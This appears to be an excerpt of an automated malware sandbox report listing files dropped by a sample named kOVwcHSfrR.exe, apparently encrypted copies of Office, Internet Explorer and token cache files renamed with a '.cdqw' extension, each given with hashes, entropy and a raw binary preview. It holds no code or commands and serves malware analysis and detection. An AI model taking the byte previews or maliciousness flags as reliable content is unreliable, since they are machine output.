SHA-512:	7B72ECD253137E8C709474D64C81F02F21CEF860AB5994BE136411062CDE0927B9B1B8274985E5F0A336D96F8BFD8E1BF93E0CE59FA8012B3039305CEF1AFB75
Malicious:	false
Preview:	.........^..o..v..X...f.DR.GR.......-9../...... ....B._.N.Y.[i...?_..do.3.....F..7....A..9.B...[..S3..'(KxX...W.q.2...=!.:....r.G......-..cz...V.....r.;T.....S..NI..j. 0..w.$....#.k<>....t....f..9....s./;)....2..Qjdd..~m..^...Z..V.Q.;...-....9...l...r`N....&.,.N..c.V....Z..Y...p.H:U....J\.....M.ms..#.t.w..8...9e.........6....>E....i...$..E..P.87....Dg.. ...%.:R.=...9g^..1......-4....6+...s...8..p...z../.o<.S...TA...o.~.\w.O.M.AGA.9N,.PF6s..\...B.~v.c,..uJD.j.....E.TU......%.F{......A.{P....]!........X.^z2%$.........kJ...]..x...G....<.ymC. 0.BWj&..d.y...K......+.,.9$B..8v:'...j.W....\#fy...U...b....}G.z.e\....@...b..;...IC..\t.......fp#.L.h.P.gg..j_K..L(K.H..6o.4.a$V..h......]i..{..t.a..T...f6z..x./...Cc0b.#...r.Xs...Wa.Sf...(.-.I.!..r.]........`....=...%...Mq.....s=o.67F...:....N....~.....b.]3.LX...>..'.....lNK.....V8.../.QT#..../.z..0.o.Q..0..X..k..X....m......].BxN'..5.>.....3G1...i.....K.......N.7\|.I..jx..}.........\|...RJ.,...]....4S..<

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.948076361660843
Encrypted:	false
SSDEEP:	96:TBU4CSPLru4BAEM7mSeFsyzaqoGIRLEKlT3mna:TBU45R6EM7m/sewEKlT33
MD5:	DC7AA21ABA3512E0E4823AE14C9CF61F
SHA1:	6E2A95BBDD95959A1341704BF7CD80DF1376FC69
SHA-256:	B88EF0F10E8F61288145224A40AEFA960133FB16C01260B1598FC9E48414F9EB
SHA-512:	E5EE6B1E79EC1AC1EF7C609723C710F42E972B5F2136D9D4CA5D93BB39B7D5547B95C12A8573D8FC1539A2A2866A6076A783B85D5398AA1F42D5EDCB5C730440
Malicious:	false
Preview:	<?xml.._..s..?.U.y;}+...jI[8..8..>b....S...R5qP.....L.h>.t.zj.~6.vD....<.}..9s..a...1...F..l.^...D{.j...F6ft..M..m\...../.~.J.........Lj\|].'.=.'91.}..Hn.O]..6...$-.m.iO../-.Nx...`E#...ta.M.-...o^..w...P.B..W.....b... ...5.Z.....1...R!...C. -/..h.......!.........N:.C@..3w....Iq.^).5d..+NI.."..F...(......_.z....U.\.....).G.....).?.....t..Y[...../[.?...._.NR..\|R$........M@.3.B.............q[...'.b.s..V.de.......YlG.K...g...O....z....AT.\.8......t.&..D..L...w.q.M.d....{#..#0.o.>..L..[.....Z..F....?25.eqU....A,.\.[.qZ.ua..2b...].s.B...9..MDgr.....,.x.e.J.........:...Nl.98.&.....q2....=.Dx..C[>...].Ov-G.]YabGkc-0...v.Oz{^-.*H....J..X.".......S..lO....g..@-....f.V.86.F}...r......:..'.R..H.D.E..S......:.k{...<y;...(,.....x....jE<F...6.j.n.J...1...9.A..........;.}.K..+o..e.Q.6#.Ra..3..%.S.......v.n....C.,.V...I...7?....\.eG&..D...\U..?.Y..f...c......;.........&.;>.u{8..h....F..)...>.u........P.B..+.c.%.iM.bu.q.E...C.\|...]..J.....M.I....X....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.5302178934981905
Encrypted:	false
SSDEEP:	12288:mZaaRsXSZlV0N8x5thr291gess3TylunXf:mvR8
MD5:	510699FBD429AFAAB191B1C5A7B7676A
SHA1:	4C8EB529AC9EC0086915C471D6E163907FA42745
SHA-256:	230B066B586FD7D541450A916E5D74712A06CD2A0F8709ACC1C344C3208604AE
SHA-512:	D4BEC3AF6F0977DCA65AF82BA49D21A142C547833EE3ABFC2BAD242C6CC0D832D90BD8C15F77DF0B2923FCEE8DAD76265EDAECDED94D0B35DC352871ECB6B276
Malicious:	false
Preview:	<Rulea...U_.d...d..1..r....hi.E........P..i.c.M..........A....r..p^..n..Qrs.jy.RW..].m.f.^...........Ok.9n...e.).#.-....D..}..8...4@.S..~K-K....-QV%.S#h.PC.>....G..Y......G..........a7.>..QC..Y..z\|.$..e:.r Jf.}...v....k...F.o.....WH.?....!:C^.3G..p.........3.te{.i...`..]d.Z:.m....CHh..A>.t..;..'`.<....i...x...L..!..o...L....^1.T...P....._.._.w.;.L..Oy.....F.......g....X....T.b.C..YTu2P...7l....c.:..og4.2I...H.../.F.....w>..=[.K$..@...K...8.z.....BLw\|...7.{\|..E...'....g.\...Z3.8{B..T....i.E.....8.N.q9.G..$.@x........]....H....%.F...un\2.. 1n.......Y.KB'....sz)..J.1?...F.sn...te...Of.....H0#.....0......5.oG?......=}1.hE..T..G....'...[-.....wb;..a...[:...3.M.....3......-.)U..q&...........[,.....w..Jf\P..tNI'.(G.B..6.../M...0KW...(P.....dM. x.!.....@..P5.v.C..y..2.'.+.J..<4)....-j+ru$...O...e.....E..:(..?..K...i..&G....^..Io...2.X5.#o.u....P=..L;..\|fj..n...B...(..5a..bHa..NA.......Tdb...*.Wb.H .0....X.2_..^1..@.&X$=S...u3.7I.G.

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515471008567914
Encrypted:	false
SSDEEP:	3072:VJvUQO9tOkfPmDaHCQfQZI0E8gKiUM8BEsMQKTutzzJzmYLT:VO9tOkfPGMCQfO2MEsMQdxUYLT
MD5:	5A81FE5154D96DDF4291D193DA9B1F74
SHA1:	D2EC8A3AD02036D2F802DC59EADB23BA3DF266B2
SHA-256:	70E91CCD7E48197BA0737316D31D76D0A1C104C3DBA1C51701E33E718A30DADE
SHA-512:	AF0BF69CEAF82D9EBE10AFE25427309AD284B93B272F6FA646D16D772241FBC6098111B689CFA669E800813640E946A90092B070AEA07C0AEFA05E73777EDD4A
Malicious:	false
Preview:	<Rule......U..i.b.<.l......F[9..>.a{]J..V..._W.P.H....l.m..X..a..........D....pDdd....92p^.......V....,.f.....}....>.h...o.:...... M...$...sK$Y"8..s>iJT..'.....'...C....;..i.=.{.s.Bv.U?1....nY......3.{t<..N.;i`..Z..<P..%.(.xP.-#...o~..=d2..%....C..Cl.~..[,.\.r.+U..DR..7w.O.x.W..i@..'...#{.J.Qcy.q.g......B.K.....K.v..4..m..^....3.......}H.].\|.dd..2Q..?....Eg.;....qby..k...#.Lq[......Y$......:....~5.C@...jU..@~.H.........k.K.(..W_.....F....-c,i.+........K.....B..".....,.Tb...,.&.c.x...i..v.e.........J..)Y/I....mcM0...sT.......N..k.7=....Do.).......cB{.<..z...\.b.8..?.t.C..it.)..u..A/.o..[.V]b.:.......!1x......u.B.O...$...\..D.3...39..L)Y.Yz...,....4..7,.H.T.7....6'.....m.a...i.r.je..5b.{L!....+....z...A(.p..T.@O0...^..L.>1)l.?..(.hz{!*....<...G.$6.[.p/...ymf.vPa..?......{J.9.Z..E.}. m.xmLH..G1....e3<.=.... K8.W}...X}I......m..I.FM..t.%.x.HK?..vv8.....6....g2u.T%.B......k...G.....(../w.2.. .q..t9._k...fU...y.M$...%.:....y.?..22.j.e..I<.f.....i.H.k

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.516248741473793
Encrypted:	false
SSDEEP:	3072:O19jc4vU5NElpNkAh1ayXQV+6TzkdMzBVAZhTdCegaJBaCeGFUyCFuiN/iM:O16HExkAh1a99/g+BVA7gadeGFUTpNKM
MD5:	3CE83ED56A7B749A7F54B5BF81FDD029
SHA1:	4813CCDD3453EC7D6392939275128D1FD48D7F1D
SHA-256:	A4AC1C5F2580B35ED726C25E50E0AFBF7D57DCD1CF0F37CF7AFCD9FCD52F743C
SHA-512:	CB4B71148236D551A52614F29F22A33D7734875AC6D3D35FBCA2537A79C4A3E380DB5870940C48911F7744A216B48F245831F9C23E83FE83A3F00278B51BAFB3
Malicious:	false
Preview:	<Rule-.wD..v...p`j.g..5..-....GD..)...A..........'.....}....K.......,...SyVV.c.v.W.?.V?..>.0d9......$Z.N...G....WHG......v.. ...G~.........O2.}./g....J]tw....g.+...Xy.P$./)......R.IA[...:#.TA.{..Y.$.\|....8..^..P.o..........(..D)....Q..O..{+r.. a.n.X.1..(`.....e.=J.H1k..MYj!h.....Qq......d..Fk..P.......z.<...n.&.5I-........(.....rT..t.T.4d.+..........y.H.-.X3'..3&..<...(.L..5.......3.L.6.m)....5c.y..u...........]..6.....#+.bT..;Ap..b.?$(.GgMJ........:PLR..?-..B.<.&%].?.}R.u..gv.W..;.o.....5 ~..\..)$.0C..2y..T.Iw..#-...g...z...H]\|[.l@...P.X.`..;6VZb......'.v.c......t....-D.....:7M....%.M'._.u6..8..s"=......y...i.e......ku...X.....x..j.E,...1..\|8..z...p...3.p...g........DO^...I...>G...h=...o.T....yE.c\.z.8..Z..g ....?....c......b&R.....q...]..P...%M....:l..A.}.-y....5".Q.J.,j.&>.....@E.<..4I.l.,k....K.K..t1........7-AW.2....>.m....].3.....(R..;....nQ.......B.JZ-g..f._?...p..7...P.......b:../.z.0Eh,.. ....3........}....=.._

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.828790001760335
Encrypted:	false
SSDEEP:	24:xQlkOg3k8HffNPh8WTxDG9SmaIVaimgvPhA5Tufgw1bD:mkXHfVs0IVtvG5ByD
MD5:	46A130310D22CF24D817757C5C6B27CB
SHA1:	686AD55258352D859BA92231E73816C1D917C936
SHA-256:	22E820652CE9975E9B9107ECA1E91A3655C78AED88B523B39575D3C8CF686ED3
SHA-512:	173FB0677B850057024F56C56AA8A5E92B56431A95307C2B79532DDFF23DF0E7B0D8F1B3EA7C7DE727C80698204914317228DCDEDBC364AE6B5E90275F7EFA1E
Malicious:	false
Preview:	3.7.4=`U..c...U.IE..#. .=(..~G......D.......i.{.>n..c...b......$e{C....b.A]D.w...x...$(.........O\....PV.A#..bh..;.p.X{.....0.?.......\|/.G....{..@..G...8"( .x...DCn.J..9.E..h..P...5k6.....P..=M.0...Hi.MO.`?.p..%.....j.8$..h4."R"..5..]cF..y.Nj.J.,+u^..5.N.\|....=....aN...x.[.!..M...Wv.,..q0X...<.So.W>P.<c.z..t..Xn....i....UGL..dM..`..z...B..Q\.9.(+."..,..H&6..$.%-6.H...3...:!..C...<....m>[..X.)#..U{..f#`Z..9.0...Lq...q...:.4.k.G..Fv..h=.qD.p..c.]aF.J..g/{....c.:=.>G.:.......w.l.'eT=(sD.,..&...pO..D..-.. ..~. .,N..:..)../.'M..ac...-'+~"z..n..ng....@.2x......~.q..Tg..5..H.L...E.....d....!4./.X.6.5".Ph..\M.xVu...WY.G..)P.j.@..7..n.?K^...5_.-..H...7.a.HE......'.S.....B.8.u.<.=...jU...z&..u..L...+....sz.....T.B..v.._hZ.(.F.b.5f..N,.......O:.&,...%o.../..N...JbuN.D.9...!..\..."......Q.v...w.......j...!....oq3..R.._gn.X\|.k.$.o..vDP.B.........G......'.....c....Ra.Ul..\d....X.&E..*..c..+b....+e 5d.\|..........`v(..9.;.R..[..}U..%\|...G.....A..:i.

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992858060579179
Encrypted:	true
SSDEEP:	768:88LEEqObvjF62LQf1A7VYZUVIaKkLBzKtLkaC7:86E+bvY28fA6Zk8tL8
MD5:	6E8863A207B32C4EB182D9F96B63DBBA
SHA1:	A9DD2EE44FC87BC6BB1D9FD53A7F43AB81A43DA3
SHA-256:	75DE5AE5FA37D1E68E232B466481B3768B439B598A27488A6AA2E0B5501684E5
SHA-512:	A6574AE5248BBB99D33820D5E9FD5A16694E3CD71355643299ACED372DF689C33B3CA2C4E87F217EB4D65C460D096DB1C9DE86D9469826E6093A458751509D02
Malicious:	true
Preview:	SQLit.(s..F..K.8..a...P..2.;.'.....N..OyM..G..Y.e..<.OZ.L.].D.3K.{.M..&..Th.nO..z....Z.^.9...G.....ew.....\...../r...Du!..M.W...#%%.;.N.<[u..X..?.F./"..\|P+.......U.:..w(......qp....6C<..P8.D....3@z.!V0bEo1..j..(j.G...n..Y...m.I.`M!....Q.\|.p.a-%.?.[.rG".R......\&1.-..^Tc4.}.b..^.B......B.qP...4.]....y#O.....=...;2/?.\W>.h.f8Vn._...r.....~.M..T...W-.,:e...D?.Y.F..K.QJ.Ik..7.Q.../U.\|\v...El.p.Y.@;...L.K.\|%?.cHf}O7.....4....J.....F.......u.R8Y.....ot....P.0...;...A.F...`.7p...oJ%U.....T............#x..[..K_~0...6.R.f!.......X.A}.....Td.3....;4V.......&..=..@z"...W>N..(%b._..mfh....<.'b.\|.1..Uc..+...e... a......\|/.!F...a.....L..gk...%...l..{[...r'...3...j.Y.2[...{?..../.r..5Bk.D.X0:...j......B^....PL.(Yw)...Ye.d.}_.VF...].\|..a.RX........./gP./......u..5'..DP.k.b.<ReX...~...6x}..(.._...$.6..U.I.7.....j..U.'z\.(.qvr.H.jt..$B%.'3....6.#....+e..".1...~.s:G.S.ni.....}."zO,.V..n.i.D.-....t....o.kK..J...!f.N...\|.hE.a..c..l#...... .[.Y5....

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992567831028947
Encrypted:	true
SSDEEP:	768:BT+F1F3W+Ssz63d+gl3L4/A2MKiAvpe0AJ8:Z+F11+dGDMKLpUJ8
MD5:	CF959D12B01AD4D46942F1EC35B6BA17
SHA1:	67107656C40297D5EA6A266B718CBD8B4183B233
SHA-256:	72B56237347CE947248404884A6D831102AA093DC0ADDD5D8AFAD6674B754DDE
SHA-512:	CD1AE696DA1A6180D1E2426CCA2F81C92EE37BBED9FE0BA9950969B288DA2FB3C266BD6DE46D11472BB8B782A1D4FF11E2729A0F5584C5B0BD9CF55B454CB371
Malicious:	true
Preview:	SQLit.H2<.8.I.....V...^.v.T.......K8......'?...w. ...JOnE..!.]../..-.......Z.'....7....%/+3...p.\|H:..SUE..E.....FI.6+.{.a.!.`...1LE...'.y;.0.1.......7?.....z..dk[.\|.BA.@.n......EGS._..\..Yz.~.zcf.....[.K.,.K....B.'v.n].A=z......k.V.....$,.Rr-/.#...o.$......G<.=........y7T&..........;.jE.#=....0:....'4R..i.(.bjD..1#`. .].89.....!.)...LL.....JC..>.@5b...yC'c...s#..E....S....Q6....C,.)'...}.-.....s..}S.}3...I...%...-H..V..?.L.?...S;~.N.k/.#N.........KE....z..I..1(/....5. ...<6.j.Y..j.k..!..j..q.&H..isx"A.NN..E.T..B...U.v-.xZD....e[Q..\|7.S......QT.J.....u....V..:..4..8...(./F..].d.=D....L..5.fA....I.........NjX.Ni].?u.p....y....n....-qR..F#..JNx8...E.l........i8..}a...B....F^Q..h6aMV.[......]..[..+..K..h....?+..z.9.1....5...)....5.{(.P...Zt.F..f?..SY.J.....Y.LD....5.hI...l.hRtRE..d.6^..........."...vf.........7.....v.H....n.........BU....]..x{(.N...S.'p....P..B...5LR)........G.w..p.....U.\.:(..}A.3.......L....^D...-U.s....LP.O...J.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9933959082436505
Encrypted:	true
SSDEEP:	768:iXTbJzLDoWAk2N6so7isvfbh/BAhZItgSZ+XQ2:ibJHs7jsvd/QIttAZ
MD5:	F61383DE497AC57F32291C35CF9989DC
SHA1:	8665A03828A4371C61360FEF5933BAA0D2B420B9
SHA-256:	D49599B87516EA0CEE7D9B8FB2007C728D853BAFBBE8CEA04340873A72A6E2A0
SHA-512:	EB2BD0B73066ACE100515C1C7084FC081BA722E4F1349639DD5FAD91C40AA8DBCFBE362B1122D96F604FB4E9D04C0FF6CE13E744A0026B8D40EE30DF8A811832
Malicious:	true
Preview:	SQLit.....%.B..4.....0.....[<E.....h}_K_A....~..{...:<......LDYS.r%..=..t<.@+..'3.-.Y...A........S......`......%..#nI.A.T.;2.......".i...w.s86.C.....Y.....R.n..k.......\..,..#.1..C..7-s.L4..ocm7r8....l..wQ..':.&\|...6..5.q.%.{.<.c.Q.w...b.;5R..A..7.cT.\|8.E......DG.gBn..?.1"..0.%....>cCmN.hp.Vw...a.`...DR..^....)R....k.g$...rL.8aW...tP;_w[L$..^..g..BD....f.....J+@.#!....Q.@ymyk.g...E...YF"....w..K..}'>..M......=......!.7.`.y.....T..0h.?e.C./.....e...}....5..(.Xj...\|...2..$,.88bM.O..c...eL....5.... ..r.(.]j.?.....I...4.f.$...7.^...h.u...>>.]h."....9..L.{(....<Q-Us.co... ].le.......m..N....XeY.H.H.wd.W.`S.Ss..r.HPs."..<Aq.S.R&..%.i....n.....\|...Nt-.<..1.`}.+#.".q.V.......'...sr`...>6.{..i..3Y.Wg.8...a..\|.<.X.).........@..j.E.g}}0&gxa...x...../k...S.,.p...b.q:h)1.4.....4...d.1.>.....-:{..f.#..tT....+.]..`.6../.t..<.........7.D.....r9.+..r<5....XE..{....Y.:.L...i....t.$..?..'~...1V\|..".\....%.Fd....8..P..3v.1....l......qzt.i.lD...t...w....w

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993457706123845
Encrypted:	true
SSDEEP:	768:e7jcf1cz8qjx1FOYPKL41JGs4Nu66wtG3UD:8OK11FOrE1jwtGkD
MD5:	B0FF44357C58D09F86BCB12AC51830DF
SHA1:	3078FB933A98711FF1E69C6559F86C7C25F605C2
SHA-256:	EDB1FC7EF576C193EC31270DBAAC594971F1D6584995B35D5E21609372243303
SHA-512:	FB776508AF587B115AB75458C1B0FA71BB221B5B5B83E2B402AC884AB2F807652BE6D24E688D36637863185488F4D8E62E7C0E8798F10869852ED2EF93F1AEE9
Malicious:	true
Preview:	SQLit%c.L.\.Qa.I...Su.....bF.S.I^bR.t....s7.X.....>...n.......i.&.........Li.H/%..Tt...H...E..La.[wL`"+d.......CNr.............3H+s.S'u6...M.\....U.......##..........p.....*...H..B.z.........<. Yy.K,.l.3 U......."...x..5...<.IrM.d..,.7...c..".E.....=..q....QD..H..Q...M...=!\..MS.6.{..s....'!JP~c..-a...e)....x...t..9......{..".$H.m...\.A.....;$...h....o.imu9.kbC........".[..O.G....YZ..[q....g=N......jE.....:...y.Zq.G['....@....N.9..-..o]...O.lb-H.7>C...oq&Z...q.E_.....G.qcde.../.e^.$..........'.!.a.a.);..G.@.mi ..`.l..M.o..JK.Ut.....>.51.......QQ~,..z.y.........../,.]}.0/\|6.rC.....I...2..ZC..0... ....c..\|K}z.a..C.~]r.....Y}H.k..H.....+..n..../...Y...q...#GLK(D....f.[5...h}l.Ze...Z..^....#.f...S1...K?..z...~.Nb.......L......a..@\...w...@...}\|..+...X......k......}%{p..n....2.U..>.....Dd...0,.8..@.6..'....d!.l.TUL\|...X..T..4.D:Tb3.k..G.2Ej....\|\|AQ..o,.6..j....`0W.9......x\...8...WG.^.k...B..EP.=..+......^..@....us.I&...+J.....e2..g.B\|...

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.912730158368506
Encrypted:	false
SSDEEP:	48:73NZvoejxGLVZxs76G5p1mp2gkB6XnbBleztLyvX12psS5PBoX4k7qjAyD:rNxo6aGNp1k2gkB6XwLm12p1rk7qjAa
MD5:	E4BF5CDFA70F0605CC1FE299AFCFDF91
SHA1:	01D21E53415E77B3A07E0291C1F62968B367363D
SHA-256:	4318F3ACA8028E34AE157881EF1B82BE610106041ED9A000DB2824069E8176EF
SHA-512:	8CCD54FFD508F1D5F207A06F317CFBBEDF8BE82F920B260285254D7B5AB842C99E520A6E0802F194E546755F01228A21771929EFA75DCB2B70FD34E8B45CF55C
Malicious:	false
Preview:	{.".T.6...r.`...Vg..u&D.[.&@b,....e....g..Pz.)R...N.n.....J...,.;.....M._......Q..".(...^..L...tFf..y...Qu..8J..XJ.LX.(.A.I.....5g..pjg...G...89..?-.CM.K......?..@...,...PjU..%....e.;.7~.p...xo.QR.-.u.+....t........y.....N..6'Z....j.Ei..2.G......C.........e2...~.v...1V.Oi.8...)M...........G.O.Zn..s....F....6......t8.X...@...Q....!</.`.z.......Fa....z....wk...qAO..W.Ykr......c,8.p.....Q......f?...9.._wP....,...z..{.....aF...).1HLM+..8...Io}.U...`T...Dih.!..{..Vs..n'....3w}.....!..<.dg...plcw..fq.8.g..!R.a!&...P.....Lz.!...v..tC......4A..iR^..}d.,O`..+..]Z.r...3X.h-.5..G.. "...=%.;1<>..e...-+.h...}9..K^]......:...J.i.t.F..H.,..1..P.......?j..r...o?....?...Q...7...[f.O...$.F..g...K....6Z&,.....R..{..[...+...P.M....4...\|..a!.....p......Q8z}-.....<....<..~h..{.dP.....B..-..@..5f.PN-...uV.?..(.5.I.$.,".%.......B.V.x...F.1.yT....%.(g.....P0...~..%......Pt.6.......@....H(.I.2L..$..u...#0.....wk..r.........dK......f.s..i(.&0..,[c

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9308752317448254
Encrypted:	false
SSDEEP:	48:C1TGzmyxiAbZD1RppTv3KLa+mF/aFI1WVPi1nfLD568Jzb5Uy4qyD:eSKqTpVQa+G1BnjD56oz9T4qa
MD5:	09D7BE9C2556898C7BD0C5146D6E9A0E
SHA1:	68C3278BF1A39C2D30271D2F2016AEFC19CC4690
SHA-256:	E7083713EF60381552A5DF81906E231158366DA706FAE625500E5395D82F99BC
SHA-512:	06E6C9AF344D14FFA59F4D2A0712FF419AD4EA4E383B44CBCAE113842D7E9A2BFC134EFBAB84F42088B093B6E68C71083A4F36C1CA1769684AB6C0C9ECA7BBE5
Malicious:	false
Preview:	{.".Th.Z...`...H. ....!..K..m..@P".......X.$....s...8$7..j.8.'..?.....}......J..t......t....m/.wSK.,{.f.B..o...CTg..j.3.{.#...#...aR\.........F..%.o!.Pz...'$.&.......l.R.g...$@........`.....1.'.C.,......pEB......l.j..G_'.. ...g%i.->.A=L..5....d..]p...DC....-...k+......W.+('.fV.....i8.4n.[....:9.....y......~/..3.._)......B..=.....}..g.K.(.%.S..;....../.x.....~....j$Q.~..e0.J....W..;...\h.../.Z...\|gj...Q.f..i..v......?.i...Y....../..^O...b./.....`...;.,..,...K)....G....z......o.sA....U..#...m@..1fBK0o.h..Z.z.E;...a......]i.....V..4......2.! ..r..7.F...s....I..+...Y....@..E..C.$o....L.A...2_....^b.k...c..}..^..i..{.8..S....Ml..yP.....IlJ..XAQ.....N..5.v..J.K.....B.ia... .B.@.A"ne....:.R#eV...e.....e..l....V.+....^..a.. .O.>,t;.BF..,am.g....MG...H.b.N7.e......L..M.A.e.#S......g.J.....e<'.(......Q9.7.`......-7.)#\|..#.[._.#.W...3....+b...\|r&:.>H.4.M..:...ME.+...........$...3Q5I.=..>.....1=...8F.......{..r-.~..&....][j..*.Q@.....w.....

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.928743066827351
Encrypted:	false
SSDEEP:	48:aq2QipTPIQskcApFrtAePJM6yVxVF7WepOmDpkl2Cbo5h64ShYgDOQZ0XRpzNXWO:L3ipTlskccFrtVJ9yV97pOmOkOOQKNWO
MD5:	A31ABB5B4B049C964383E05B85CA7DB3
SHA1:	E3457A7837663018ECF2A04E257B6E7301C9360C
SHA-256:	BAF0E39C2FF07B81B0EB99EB70D62CDEA8D31645AEBB2ECF6D97DB47260FCE68
SHA-512:	EF62464B0505911B279AC1F386E1E0B4505449EFEE5C76EB5859E7D25364DE3B0584862FE9197F740FE7ECDB241C0B6EF6EA7DC39BE05177471D6268090F3CD3
Malicious:	false
Preview:	{.".T{...NyUrc.iv.D.#.<rJ.v..r..nLjaj.......2K.-O..tU7.P~y.x.K.E...8Im0.;.!R.............I.d.bu.d\...........6y.Db..VA~..;......5..[>.N51...58b..+..:......BNa.K...}Y...V."B\|'.H..Y.............+EX>.n.e...;..^.\,...d.=...P..f.H......n....=..g5.-.....9.u....S.'...6..I.L..........._$.>./.....$.c.tM.#=.h2.v}.7g..r..s..?.5..;../.h}.j..j..t.y.<.<;.q........3.W...H..Y \....^.@P....;h_.f.t..^qxy.k....FbR.p.,....Fk.Lh3c.&..$.HZ.;.EC.l..I./...%..E/.+..#....U...k......xS...$.y..?.Gi.<".CE.;P>sn.:Q..\|s].).X...>T@.$..5.Wj.ep.+".n......s...^..{.U..(...Qd..R#.1YJ.....PY.......+...0....q.Y.8..M.8.).\.$D.4.....W.S..wh1\|..f......5...\|]W!F......rP-e.....;......!C.W....'..b..E..g.78_."#W...V..@..-z&....B2..e=:....@".g....F.....U.w.!.`.&........;i.m.+,..O.....p...#..../......sS..L....#>........i.`.-.8......k.>..^...j.......S..H..bR.....hZ.!7.=b.,..:...nT......d.5...7..uo..y.Hm".)rau....-.2E..B..@..D....N....k~A..2s...{.c.P.m[.}d....g.&.v."?./..y.v...R..}.

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.923694550814385
Encrypted:	false
SSDEEP:	48:49wQ6LP/Hfg2cpKpn4ojiE+iNzXlfE43c0gFiyD:49wQ6LP//ghK54QiYNzXa43crFia
MD5:	1A3CD8FD4C90A3FDE9E4177249107A9C
SHA1:	EF27283DE9CFB1AFD74BE430BFE2D6FB9E9270BA
SHA-256:	1DC4D1F1DB5ED5956274CAF81C5D5B104539AEB17C332F0C5E084454C70B404F
SHA-512:	75FEC3EFA80630A45063CF710E4B41B07976102F72F0B8F94BAD74AABB46F5AB8F4ED1B01A44EA2741ABA4B736D72BDA271AE1E918F6F043541DB42A9AFF0138
Malicious:	false
Preview:	{.".T..&.x..6....6:.x....Y.g...j..Pi......)...4kx..3T..\|..{.......n.D?J.ES\|....ho<.9P-a:.j.....QAL..g..`42..K...HRZ..%..9...CcID....U...4h.9.........~.O..{...+.k.....uV.bP.. ..y.$j..=q........7d'.!...6.....S._...pfpD...8....-.dn.....-^.%.t.w?ed....K....Ut.....1K(L.!.C...+A..3..~6..U...S.D..+s..$.dB........'.0..Cm...2..>.d..s..\|.sh..............n.N.....=2O.....8..#..G?..A....C1...p.'d...S...9.uv12.g.........;..f.:.{.3]......u.,h.<.....%.....Qs..{.Ax.....n.;......w../x..Y..`..sb.Y..{8..Wh..\|C^`v.....j.U....rM.>..).....!...i..~..P.V.zlC..~...+,V.P....A.-...?;0KZ.qJ}..."....1....K..D..:..1\|=.&ll........v..[..3...oD..$_.......)f.....q.a..r.%h.S.u..^7".nm..c#...qC.I5.Z.X.z..0..P...#......g....v.Uq....DI''....M..-....k...g.{..5%Z..N"..QW]mV.R...(."{...G.^.8...s.K......Z.h..<g....A^.`W_.X&.....)...7U.....H.y.......>..73.M@f..F'5_....@H.%Y.cL J...i.l.......ob.LixW.6.(..Ia2..w:..Q.o[B...W...~...=.M..c......!.9.xi.i.U.}.e.@...&......(.U$.:K...

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.961771477525211
Encrypted:	false
SSDEEP:	96:kRilJhSED3IYoC1rU9/VYRWcZCcgpIGgJ9GgFbeCa:n/ocrU9/VYRWcpU89GEeJ
MD5:	DEFF3AE79D9A728B7746A7FAB7D090AC
SHA1:	C54DB42173C6F463342E681B7FCF8D6E38F68D1F
SHA-256:	DA70C453DFEC5661B5DD7F2B89B488CCF037CAB47B493F2913D2E07127CE7EE3
